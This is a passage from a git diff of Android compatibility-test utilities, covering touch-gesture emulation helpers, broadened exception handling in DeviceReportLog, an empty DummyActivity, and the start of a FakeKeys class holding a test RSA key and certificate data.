+        MotionEvent eventMove = MotionEvent.obtain(downTime, downTime, MotionEvent.ACTION_MOVE,
+                xOnScreen + (touchSlop / 2.0f), yOnScreen + (touchSlop / 2.0f), 1);
+        eventMove.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+        uiAutomation.injectInputEvent(eventMove, true);
+        eventMove.recycle();
+    }
+
+    private static void injectMoveEventsForDrag(UiAutomation uiAutomation, long downTime,
+            boolean useCurrentEventTime, int dragStartX, int dragStartY, int dragEndX, int dragEndY,
+            int moveEventCount, int dragDurationMs) {
+        final int dragAmountX = dragEndX - dragStartX;
+        final int dragAmountY = dragEndY - dragStartY;
+        final int sleepTime = dragDurationMs / moveEventCount;
+
+        // sleep for a bit to emulate the overall drag gesture.
+        long prevEventTime = downTime;
+        SystemClock.sleep(sleepTime);
+        for (int i = 0; i < moveEventCount; i++) {
+            // Note that the first MOVE event is generated "away" from the coordinates
+            // of the start / DOWN event, and the last MOVE event is generated
+            // at the same coordinates as the subsequent UP event.
+            final int moveX = dragStartX + dragAmountX * (i  + 1) / moveEventCount;
+            final int moveY = dragStartY + dragAmountY * (i  + 1) / moveEventCount;
+            long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
+
+            // If necessary, generate history for our next MOVE event. The history is generated
+            // to be spaced at 10 millisecond intervals, interpolating the coordinates from the
+            // last generated MOVE event to our current one.
+            int historyEventCount = (int) ((eventTime - prevEventTime) / 10);
+            MotionEvent eventMove = null;
+            if (historyEventCount == 0) {
+                eventMove = MotionEvent.obtain(
+                        downTime, eventTime, MotionEvent.ACTION_MOVE, moveX, moveY, 1);
+            } else {
+                final int prevMoveX = dragStartX + dragAmountX * i / moveEventCount;
+                final int prevMoveY = dragStartY + dragAmountY * i / moveEventCount;
+                final int deltaMoveX = moveX - prevMoveX;
+                final int deltaMoveY = moveY - prevMoveY;
+                final long deltaTime = (eventTime - prevEventTime);
+                for (int historyIndex = 0; historyIndex < historyEventCount; historyIndex++) {
+                    int stepMoveX = prevMoveX + deltaMoveX * (historyIndex + 1) / historyEventCount;
+                    int stepMoveY = prevMoveY + deltaMoveY * (historyIndex + 1) / historyEventCount;
+                    long stepEventTime = useCurrentEventTime
+                            ? prevEventTime + deltaTime * (historyIndex + 1) / historyEventCount
+                            : downTime;
+                    if (historyIndex == 0) {
+                        // Generate the first event in our sequence
+                        eventMove = MotionEvent.obtain(downTime, stepEventTime,
+                                MotionEvent.ACTION_MOVE, stepMoveX, stepMoveY, 1);
+                    } else {
+                        // and then add to it
+                        eventMove.addBatch(stepEventTime, stepMoveX, stepMoveY, 1.0f, 1.0f, 1);
+                    }
+                }
+            }
+
+            eventMove.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+            uiAutomation.injectInputEvent(eventMove, true);
+            eventMove.recycle();
+            prevEventTime = eventTime;
+
+            // sleep for a bit to emulate the overall drag gesture.
+            SystemClock.sleep(sleepTime);
+        }
+    }
+
+    private static void injectUpEvent(UiAutomation uiAutomation, long downTime,
+            boolean useCurrentEventTime, int xOnScreen, int yOnScreen) {
+        long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
+        MotionEvent eventUp = MotionEvent.obtain(
+                downTime, eventTime, MotionEvent.ACTION_UP, xOnScreen, yOnScreen, 1);
+        eventUp.setSource(InputDevice.SOURCE_TOUCHSCREEN);
+        uiAutomation.injectInputEvent(eventUp, true);
+        eventUp.recycle();
+    }
+
+    /**
+     * Emulates a fling gesture across the horizontal center of the passed view.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param view the view to fling
+     * @param isDownwardsFlingGesture if <code>true</code>, the emulated fling will
+     *      be a downwards gesture
+     * @return The vertical amount of emulated fling in pixels
+     */
+    public static int emulateFlingGesture(Instrumentation instrumentation,
+            View view, boolean isDownwardsFlingGesture) {
+        final ViewConfiguration configuration = ViewConfiguration.get(view.getContext());
+        final int flingVelocity = (configuration.getScaledMinimumFlingVelocity() +
+                configuration.getScaledMaximumFlingVelocity()) / 2;
+        // Get view coordinates on the screen
+        final int[] viewOnScreenXY = new int[2];
+        view.getLocationOnScreen(viewOnScreenXY);
+
+        // Our fling gesture will be from 25% height of the view to 75% height of the view
+        // for downwards fling gesture, and the other way around for upwards fling gesture
+        final int viewHeight = view.getHeight();
+        final int x = viewOnScreenXY[0] + view.getWidth() / 2;
+        final int startY = isDownwardsFlingGesture ? viewOnScreenXY[1] + viewHeight / 4
+                : viewOnScreenXY[1] + 3 * viewHeight / 4;
+        final int amountY = isDownwardsFlingGesture ? viewHeight / 2 : -viewHeight / 2;
+
+        // Compute fling gesture duration based on the distance (50% height of the view) and
+        // fling velocity
+        final int durationMs = (1000 * viewHeight) / (2 * flingVelocity);
+
+        // And do the same event injection sequence as our generic drag gesture
+        emulateDragGesture(instrumentation, x, startY, 0, amountY, durationMs, durationMs / 16);
+
+        return amountY;
+    }
+
+    private static class ViewStateSnapshot {
+        final View mFirst;
+        final View mLast;
+        final int mFirstTop;
+        final int mLastBottom;
+        final int mChildCount;
+        private ViewStateSnapshot(ViewGroup viewGroup) {
+            mChildCount = viewGroup.getChildCount();
+            if (mChildCount == 0) {
+                mFirst = mLast = null;
+                mFirstTop = mLastBottom = Integer.MIN_VALUE;
+            } else {
+                mFirst = viewGroup.getChildAt(0);
+                mLast = viewGroup.getChildAt(mChildCount - 1);
+                mFirstTop = mFirst.getTop();
+                mLastBottom = mLast.getBottom();
+            }
+        }
+
+        @Override
+        public boolean equals(Object o) {
+            if (this == o) {
+                return true;
+            }
+            if (o == null || getClass() != o.getClass()) {
+                return false;
+            }
+
+            final ViewStateSnapshot that = (ViewStateSnapshot) o;
+            return mFirstTop == that.mFirstTop &&
+                    mLastBottom == that.mLastBottom &&
+                    mFirst == that.mFirst &&
+                    mLast == that.mLast &&
+                    mChildCount == that.mChildCount;
+        }
+
+        @Override
+        public int hashCode() {
+            int result = mFirst != null ? mFirst.hashCode() : 0;
+            result = 31 * result + (mLast != null ? mLast.hashCode() : 0);
+            result = 31 * result + mFirstTop;
+            result = 31 * result + mLastBottom;
+            result = 31 * result + mChildCount;
+            return result;
+        }
+    }
+
+    /**
+     * Emulates a scroll to the bottom of the specified {@link ViewGroup}.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param viewGroup View group
+     */
+    public static void emulateScrollToBottom(Instrumentation instrumentation, ViewGroup viewGroup) {
+        final int[] viewGroupOnScreenXY = new int[2];
+        viewGroup.getLocationOnScreen(viewGroupOnScreenXY);
+
+        final int emulatedX = viewGroupOnScreenXY[0] + viewGroup.getWidth() / 2;
+        final int emulatedStartY = viewGroupOnScreenXY[1] + 3 * viewGroup.getHeight() / 4;
+        final int swipeAmount = viewGroup.getHeight() / 2;
+
+        ViewStateSnapshot prev;
+        ViewStateSnapshot next = new ViewStateSnapshot(viewGroup);
+        do {
+            prev = next;
+            emulateDragGesture(instrumentation, emulatedX, emulatedStartY, 0, -swipeAmount,
+                    300, 10);
+            next = new ViewStateSnapshot(viewGroup);
+        } while (!prev.equals(next));
+    }
+
+    /**
+     * Emulates a long press in the center of the passed {@link View}.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param view the view to "long press"
+     */
+    public static void emulateLongPressOnViewCenter(Instrumentation instrumentation, View view) {
+        emulateLongPressOnViewCenter(instrumentation, view, 0);
+    }
+
+    /**
+     * Emulates a long press in the center of the passed {@link View}.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param view the view to "long press"
+     * @param extraWaitMs the duration of emulated "long press" in milliseconds starting
+     *      after system-level long press timeout.
+     */
+    public static void emulateLongPressOnViewCenter(Instrumentation instrumentation, View view,
+            long extraWaitMs) {
+        final int touchSlop = ViewConfiguration.get(view.getContext()).getScaledTouchSlop();
+        // Use instrumentation to emulate a tap on the spinner to bring down its popup
+        final int[] viewOnScreenXY = new int[2];
+        view.getLocationOnScreen(viewOnScreenXY);
+        int xOnScreen = viewOnScreenXY[0] + view.getWidth() / 2;
+        int yOnScreen = viewOnScreenXY[1] + view.getHeight() / 2;
+
+        emulateLongPressOnScreen(
+                instrumentation, xOnScreen, yOnScreen, touchSlop, extraWaitMs, true);
+    }
+
+    /**
+     * Emulates a long press confirmed on a point relative to the top-left corner of the passed
+     * {@link View}. Offset parameters are used to compute the final screen coordinates of the
+     * press point.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param view the view to "long press"
+     * @param offsetX extra X offset for the tap
+     * @param offsetY extra Y offset for the tap
+     */
+    public static void emulateLongPressOnView(Instrumentation instrumentation, View view,
+            int offsetX, int offsetY) {
+        final int touchSlop = ViewConfiguration.get(view.getContext()).getScaledTouchSlop();
+        final int[] viewOnScreenXY = new int[2];
+        view.getLocationOnScreen(viewOnScreenXY);
+        int xOnScreen = viewOnScreenXY[0] + offsetX;
+        int yOnScreen = viewOnScreenXY[1] + offsetY;
+
+        emulateLongPressOnScreen(instrumentation, xOnScreen, yOnScreen, touchSlop, 0, true);
+    }
+
+    /**
+     * Emulates a long press then a linear drag gesture between 2 points across the screen.
+     * This is used for drag selection.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param dragStartX Start X of the emulated drag gesture
+     * @param dragStartY Start Y of the emulated drag gesture
+     * @param dragAmountX X amount of the emulated drag gesture
+     * @param dragAmountY Y amount of the emulated drag gesture
+     */
+    public static void emulateLongPressAndDragGesture(Instrumentation instrumentation,
+            int dragStartX, int dragStartY, int dragAmountX, int dragAmountY) {
+        emulateLongPressOnScreen(instrumentation, dragStartX, dragStartY,
+                0 /* touchSlop */, 0 /* extraWaitMs */, false /* upGesture */);
+        emulateDragGesture(instrumentation, dragStartX, dragStartY, dragAmountX, dragAmountY);
+    }
+
+    /**
+     * Emulates a long press on the screen.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param xOnScreen X position on screen for the "long press"
+     * @param yOnScreen Y position on screen for the "long press"
+     * @param extraWaitMs extra duration of emulated long press in milliseconds added
+     *        after the system-level "long press" timeout.
+     * @param upGesture whether to include an up event.
+     */
+    private static void emulateLongPressOnScreen(Instrumentation instrumentation,
+            int xOnScreen, int yOnScreen, int touchSlop, long extraWaitMs, boolean upGesture) {
+        final UiAutomation uiAutomation = instrumentation.getUiAutomation();
+        final long downTime = SystemClock.uptimeMillis();
+
+        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+        injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
+        SystemClock.sleep((long) (ViewConfiguration.getLongPressTimeout() * 1.5f) + extraWaitMs);
+        if (upGesture) {
+            injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
+        }
+
+        // Wait for the system to process all events in the queue
+        instrumentation.waitForIdleSync();
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java
index 3944f70..1d872a8 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/DeviceReportLog.java
@@ -72,7 +72,7 @@
         super.addValue(source, message, value, type, unit);
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -85,7 +85,7 @@
         super.addValue(message, value, type, unit);
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -99,7 +99,7 @@
         super.addValues(source, message, values, type, unit);
         try {
             store.addArrayResult(message, values);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -112,7 +112,7 @@
         super.addValues(message, values, type, unit);
         try {
             store.addArrayResult(message, values);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -124,7 +124,7 @@
     public void addValue(String message, int value, ResultType type, ResultUnit unit) {
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -136,7 +136,7 @@
     public void addValue(String message, long value, ResultType type, ResultUnit unit) {
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -148,7 +148,7 @@
     public void addValue(String message, float value, ResultType type, ResultUnit unit) {
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -160,7 +160,7 @@
     public void addValue(String message, boolean value, ResultType type, ResultUnit unit) {
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -172,7 +172,7 @@
     public void addValue(String message, String value, ResultType type, ResultUnit unit) {
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -184,7 +184,7 @@
     public void addValues(String message, int[] values, ResultType type, ResultUnit unit) {
         try {
             store.addArrayResult(message, values);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -196,7 +196,7 @@
     public void addValues(String message, long[] values, ResultType type, ResultUnit unit) {
         try {
             store.addArrayResult(message, values);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -208,7 +208,7 @@
     public void addValues(String message, float[] values, ResultType type, ResultUnit unit) {
         try {
             store.addArrayResult(message, values);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -220,7 +220,7 @@
     public void addValues(String message, boolean[] values, ResultType type, ResultUnit unit) {
         try {
             store.addArrayResult(message, values);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -232,7 +232,7 @@
     public void addValues(String message, List<String> values, ResultType type, ResultUnit unit) {
         try {
             store.addListResult(message, values);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -247,7 +247,7 @@
         super.setSummary(message, value, type, unit);
         try {
             store.addResult(message, value);
-        } catch (IOException e) {
+        } catch (Exception e) {
             Log.e(TAG, "Could not log metric.", e);
         }
     }
@@ -256,15 +256,13 @@
      * Closes report file and submits report to instrumentation.
      */
     public void submit(Instrumentation instrumentation) {
-        Log.i(TAG, "Submit");
         try {
             store.close();
             Bundle output = new Bundle();
             output.putString(RESULT, serialize(this));
             instrumentation.sendStatus(INST_STATUS_IN_PROGRESS, output);
-        } catch (IllegalArgumentException | IllegalStateException | XmlPullParserException
-                | IOException e) {
-            Log.e(TAG, "Submit Failed", e);
+        } catch (Exception e) {
+            Log.e(TAG, "ReportLog Submit Failed", e);
             instrumentation.sendStatus(INST_STATUS_ERROR, null);
         }
     }
@@ -275,11 +273,10 @@
      * does not appear in the result XML.
      */
     public void submit() {
-        Log.i(TAG, "Submit");
         try {
             store.close();
-        } catch (IOException e) {
-            Log.e(TAG, "Submit Failed", e);
+        } catch (Exception e) {
+            Log.e(TAG, "ReportLog Submit Failed", e);
         }
     }
 }
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DummyActivity.java b/common/device-side/util/src/com/android/compatibility/common/util/DummyActivity.java
new file mode 100644
index 0000000..672106c
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/DummyActivity.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package com.android.compatibility.common.util;
+
+import android.app.Activity;
+
+public class DummyActivity extends Activity {
+
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/EvaluateJsResultPollingCheck.java b/common/device-side/util/src/com/android/compatibility/common/util/EvaluateJsResultPollingCheck.java
index 61f1bb8..073674a 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/EvaluateJsResultPollingCheck.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/EvaluateJsResultPollingCheck.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2014 The Android Open Source Project
+ * Copyright (C) 2013 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FakeKeys.java b/common/device-side/util/src/com/android/compatibility/common/util/FakeKeys.java
new file mode 100644
index 0000000..85e06ea
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/FakeKeys.java
@@ -0,0 +1,469 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+// Copied from cts/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
+
+public class FakeKeys {
+    /*
+     * The keys and certificates below are generated with:
+     *
+     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
+     * openssl req -newkey rsa:1024 -keyout userkey.pem -nodes -days 3650 -out userkey.req
+     * mkdir -p demoCA/newcerts
+     * touch demoCA/index.txt
+     * echo "01" > demoCA/serial
+     * openssl ca -out usercert.pem -in userkey.req -cert cacert.pem -keyfile cakey.pem -days 3650
+     */
+    public static class FAKE_RSA_1 {
+        /**
+         * Generated from above and converted with:
+         *
+         * openssl pkcs8 -topk8 -outform d -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
+         */
+        public static final byte[] privateKey = {
+            (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x78, (byte) 0x02, (byte) 0x01,
+            (byte) 0x00, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a,
+            (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01,
+            (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x04, (byte) 0x82,
+            (byte) 0x02, (byte) 0x62, (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x5e,
+            (byte) 0x02, (byte) 0x01, (byte) 0x00, (byte) 0x02, (byte) 0x81, (byte) 0x81,
+            (byte) 0x00, (byte) 0xce, (byte) 0x29, (byte) 0xeb, (byte) 0xf6, (byte) 0x5b,
+            (byte) 0x25, (byte) 0xdc, (byte) 0xa1, (byte) 0xa6, (byte) 0x2c, (byte) 0x66,
+            (byte) 0xcb, (byte) 0x20, (byte) 0x90, (byte) 0x27, (byte) 0x86, (byte) 0x8a,
+            (byte) 0x44, (byte) 0x71, (byte) 0x50, (byte) 0xda, (byte) 0xd3, (byte) 0x02,
+            (byte) 0x77, (byte) 0x55, (byte) 0xe9, (byte) 0xe8, (byte) 0x08, (byte) 0xf3,
+            (byte) 0x36, (byte) 0x9a, (byte) 0xae, (byte) 0xab, (byte) 0x04, (byte) 0x6d,
+            (byte) 0x00, (byte) 0x99, (byte) 0xbf, (byte) 0x7d, (byte) 0x0f, (byte) 0x67,
+            (byte) 0x8b, (byte) 0x1d, (byte) 0xd4, (byte) 0x2b, (byte) 0x7c, (byte) 0xcb,
+            (byte) 0xcd, (byte) 0x33, (byte) 0xc7, (byte) 0x84, (byte) 0x30, (byte) 0xe2,
+            (byte) 0x45, (byte) 0x21, (byte) 0xb3, (byte) 0x75, (byte) 0xf5, (byte) 0x79,
+            (byte) 0x02, (byte) 0xda, (byte) 0x50, (byte) 0xa3, (byte) 0x8b, (byte) 0xce,
+            (byte) 0xc3, (byte) 0x8e, (byte) 0x0f, (byte) 0x25, (byte) 0xeb, (byte) 0x08,
+            (byte) 0x2c, (byte) 0xdd, (byte) 0x1c, (byte) 0xcf, (byte) 0xff, (byte) 0x3b,
+            (byte) 0xde, (byte) 0xb6, (byte) 0xaa, (byte) 0x2a, (byte) 0xa9, (byte) 0xc4,
+            (byte) 0x8a, (byte) 0x24, (byte) 0x24, (byte) 0xe6, (byte) 0x29, (byte) 0x0d,
+            (byte) 0x98, (byte) 0x4c, (byte) 0x32, (byte) 0xa1, (byte) 0x7b, (byte) 0x23,
+            (byte) 0x2b, (byte) 0x42, (byte) 0x30, (byte) 0xee, (byte) 0x78, (byte) 0x08,
+            (byte) 0x47, (byte) 0xad, (byte) 0xf2, (byte) 0x96, (byte) 0xd5, (byte) 0xf1,
+            (byte) 0x62, (byte) 0x42, (byte) 0x2d, (byte) 0x35, (byte) 0x19, (byte) 0xb4,
+            (byte) 0x3c, (byte) 0xc9, (byte) 0xc3, (byte) 0x5f, (byte) 0x03, (byte) 0x16,
+            (byte) 0x3a, (byte) 0x23, (byte) 0xac, (byte) 0xcb, (byte) 0xce, (byte) 0x9e,
+            (byte) 0x51, (byte) 0x2e, (byte) 0x6d, (byte) 0x02, (byte) 0x03, (byte) 0x01,
+            (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x81, (byte) 0x80, (byte) 0x16,
+            (byte) 0x59, (byte) 0xc3, (byte) 0x24, (byte) 0x1d, (byte) 0x33, (byte) 0x98,
+            (byte) 0x9c, (byte) 0xc9, (byte) 0xc8, (byte) 0x2c, (byte) 0x88, (byte) 0xbf,
+            (byte) 0x0a, (byte) 0x01, (byte) 0xce, (byte) 0xfb, (byte) 0x34, (byte) 0x7a,
+            (byte) 0x58, (byte) 0x7a, (byte) 0xb0, (byte) 0xbf, (byte) 0xa6, (byte) 0xb2,
+            (byte) 0x60, (byte) 0xbe, (byte) 0x70, (byte) 0x21, (byte) 0xf5, (byte) 0xfc,
+            (byte) 0x85, (byte) 0x0d, (byte) 0x33, (byte) 0x58, (byte) 0xa1, (byte) 0xe5,
+            (byte) 0x09, (byte) 0x36, (byte) 0x84, (byte) 0xb2, (byte) 0x04, (byte) 0x0a,
+            (byte) 0x02, (byte) 0xd3, (byte) 0x88, (byte) 0x1f, (byte) 0x0c, (byte) 0x2b,
+            (byte) 0x1d, (byte) 0xe9, (byte) 0x3d, (byte) 0xe7, (byte) 0x79, (byte) 0xf9,
+            (byte) 0x32, (byte) 0x5c, (byte) 0x8a, (byte) 0x75, (byte) 0x49, (byte) 0x12,
+            (byte) 0xe4, (byte) 0x05, (byte) 0x26, (byte) 0xd4, (byte) 0x2e, (byte) 0x9e,
+            (byte) 0x1f, (byte) 0xcc, (byte) 0x54, (byte) 0xad, (byte) 0x33, (byte) 0x8d,
+            (byte) 0x99, (byte) 0x00, (byte) 0xdc, (byte) 0xf5, (byte) 0xb4, (byte) 0xa2,
+            (byte) 0x2f, (byte) 0xba, (byte) 0xe5, (byte) 0x62, (byte) 0x30, (byte) 0x6d,
+            (byte) 0xe6, (byte) 0x3d, (byte) 0xeb, (byte) 0x24, (byte) 0xc2, (byte) 0xdc,
+            (byte) 0x5f, (byte) 0xb7, (byte) 0x16, (byte) 0x35, (byte) 0xa3, (byte) 0x98,
+            (byte) 0x98, (byte) 0xa8, (byte) 0xef, (byte) 0xe8, (byte) 0xc4, (byte) 0x96,
+            (byte) 0x6d, (byte) 0x38, (byte) 0xab, (byte) 0x26, (byte) 0x6d, (byte) 0x30,
+            (byte) 0xc2, (byte) 0xa0, (byte) 0x44, (byte) 0xe4, (byte) 0xff, (byte) 0x7e,
+            (byte) 0xbe, (byte) 0x7c, (byte) 0x33, (byte) 0xa5, (byte) 0x10, (byte) 0xad,
+            (byte) 0xd7, (byte) 0x1e, (byte) 0x13, (byte) 0x20, (byte) 0xb3, (byte) 0x1f,
+            (byte) 0x41, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xf1, (byte) 0x89,
+            (byte) 0x07, (byte) 0x0f, (byte) 0xe8, (byte) 0xcf, (byte) 0xab, (byte) 0x13,
+            (byte) 0x2a, (byte) 0x8f, (byte) 0x88, (byte) 0x80, (byte) 0x11, (byte) 0x9a,
+            (byte) 0x79, (byte) 0xb6, (byte) 0x59, (byte) 0x3a, (byte) 0x50, (byte) 0x6e,
+            (byte) 0x57, (byte) 0x37, (byte) 0xab, (byte) 0x2a, (byte) 0xd2, (byte) 0xaa,
+            (byte) 0xd9, (byte) 0x72, (byte) 0x73, (byte) 0xff, (byte) 0x8b, (byte) 0x47,
+            (byte) 0x76, (byte) 0xdd, (byte) 0xdc, (byte) 0xf5, (byte) 0x97, (byte) 0x44,
+            (byte) 0x3a, (byte) 0x78, (byte) 0xbe, (byte) 0x17, (byte) 0xb4, (byte) 0x22,
+            (byte) 0x6f, (byte) 0xe5, (byte) 0x23, (byte) 0x70, (byte) 0x1d, (byte) 0x10,
+            (byte) 0x5d, (byte) 0xba, (byte) 0x16, (byte) 0x81, (byte) 0xf1, (byte) 0x45,
+            (byte) 0xce, (byte) 0x30, (byte) 0xb4, (byte) 0xab, (byte) 0x80, (byte) 0xe4,
+            (byte) 0x98, (byte) 0x31, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xda,
+            (byte) 0x82, (byte) 0x9d, (byte) 0x3f, (byte) 0xca, (byte) 0x2f, (byte) 0xe1,
+            (byte) 0xd4, (byte) 0x86, (byte) 0x77, (byte) 0x48, (byte) 0xa6, (byte) 0xab,
+            (byte) 0xab, (byte) 0x1c, (byte) 0x42, (byte) 0x5c, (byte) 0xd5, (byte) 0xc7,
+            (byte) 0x46, (byte) 0x59, (byte) 0x91, (byte) 0x3f, (byte) 0xfc, (byte) 0xcc,
+            (byte) 0xec, (byte) 0xc2, (byte) 0x40, (byte) 0x12, (byte) 0x2c, (byte) 0x8d,
+            (byte) 0x1f, (byte) 0xa2, (byte) 0x18, (byte) 0x88, (byte) 0xee, (byte) 0x82,
+            (byte) 0x4a, (byte) 0x5a, (byte) 0x5e, (byte) 0x88, (byte) 0x20, (byte) 0xe3,
+            (byte) 0x7b, (byte) 0xe0, (byte) 0xd8, (byte) 0x3a, (byte) 0x52, (byte) 0x9a,
+            (byte) 0x26, (byte) 0x6a, (byte) 0x04, (byte) 0xec, (byte) 0xe8, (byte) 0xb9,
+            (byte) 0x48, (byte) 0x40, (byte) 0xe1, (byte) 0xe1, (byte) 0x83, (byte) 0xa6,
+            (byte) 0x67, (byte) 0xa6, (byte) 0xfd, (byte) 0x02, (byte) 0x41, (byte) 0x00,
+            (byte) 0x89, (byte) 0x72, (byte) 0x3e, (byte) 0xb0, (byte) 0x90, (byte) 0xfd,
+            (byte) 0x4c, (byte) 0x0e, (byte) 0xd6, (byte) 0x13, (byte) 0x63, (byte) 0xcb,
+            (byte) 0xed, (byte) 0x38, (byte) 0x88, (byte) 0xb6, (byte) 0x79, (byte) 0xc4,
+            (byte) 0x33, (byte) 0x6c, (byte) 0xf6, (byte) 0xf8, (byte) 0xd8, (byte) 0xd0,
+            (byte) 0xbf, (byte) 0x9d, (byte) 0x35, (byte) 0xac, (byte) 0x69, (byte) 0xd2,
+            (byte) 0x2b, (byte) 0xc1, (byte) 0xf9, (byte) 0x24, (byte) 0x7b, (byte) 0xce,
+            (byte) 0xcd, (byte) 0xcb, (byte) 0xa7, (byte) 0xb2, (byte) 0x7a, (byte) 0x0a,
+            (byte) 0x27, (byte) 0x19, (byte) 0xc9, (byte) 0xaf, (byte) 0x0d, (byte) 0x21,
+            (byte) 0x89, (byte) 0x88, (byte) 0x7c, (byte) 0xad, (byte) 0x9e, (byte) 0x8d,
+            (byte) 0x47, (byte) 0x6d, (byte) 0x3f, (byte) 0xce, (byte) 0x7b, (byte) 0xa1,
+            (byte) 0x74, (byte) 0xf1, (byte) 0xa0, (byte) 0xa1, (byte) 0x02, (byte) 0x41,
+            (byte) 0x00, (byte) 0xd9, (byte) 0xa8, (byte) 0xf5, (byte) 0xfe, (byte) 0xce,
+            (byte) 0xe6, (byte) 0x77, (byte) 0x6b, (byte) 0xfe, (byte) 0x2d, (byte) 0xe0,
+            (byte) 0x1e, (byte) 0xb6, (byte) 0x2e, (byte) 0x12, (byte) 0x4e, (byte) 0x40,
+            (byte) 0xaf, (byte) 0x6a, (byte) 0x7b, (byte) 0x37, (byte) 0x49, (byte) 0x2a,
+            (byte) 0x96, (byte) 0x25, (byte) 0x83, (byte) 0x49, (byte) 0xd4, (byte) 0x0c,
+            (byte) 0xc6, (byte) 0x78, (byte) 0x25, (byte) 0x24, (byte) 0x90, (byte) 0x90,
+            (byte) 0x06, (byte) 0x15, (byte) 0x9e, (byte) 0xfe, (byte) 0xf9, (byte) 0xdf,
+            (byte) 0x5b, (byte) 0xf3, (byte) 0x7e, (byte) 0x38, (byte) 0x70, (byte) 0xeb,
+            (byte) 0x57, (byte) 0xd0, (byte) 0xd9, (byte) 0xa7, (byte) 0x0e, (byte) 0x14,
+            (byte) 0xf7, (byte) 0x95, (byte) 0x68, (byte) 0xd5, (byte) 0xc8, (byte) 0xab,
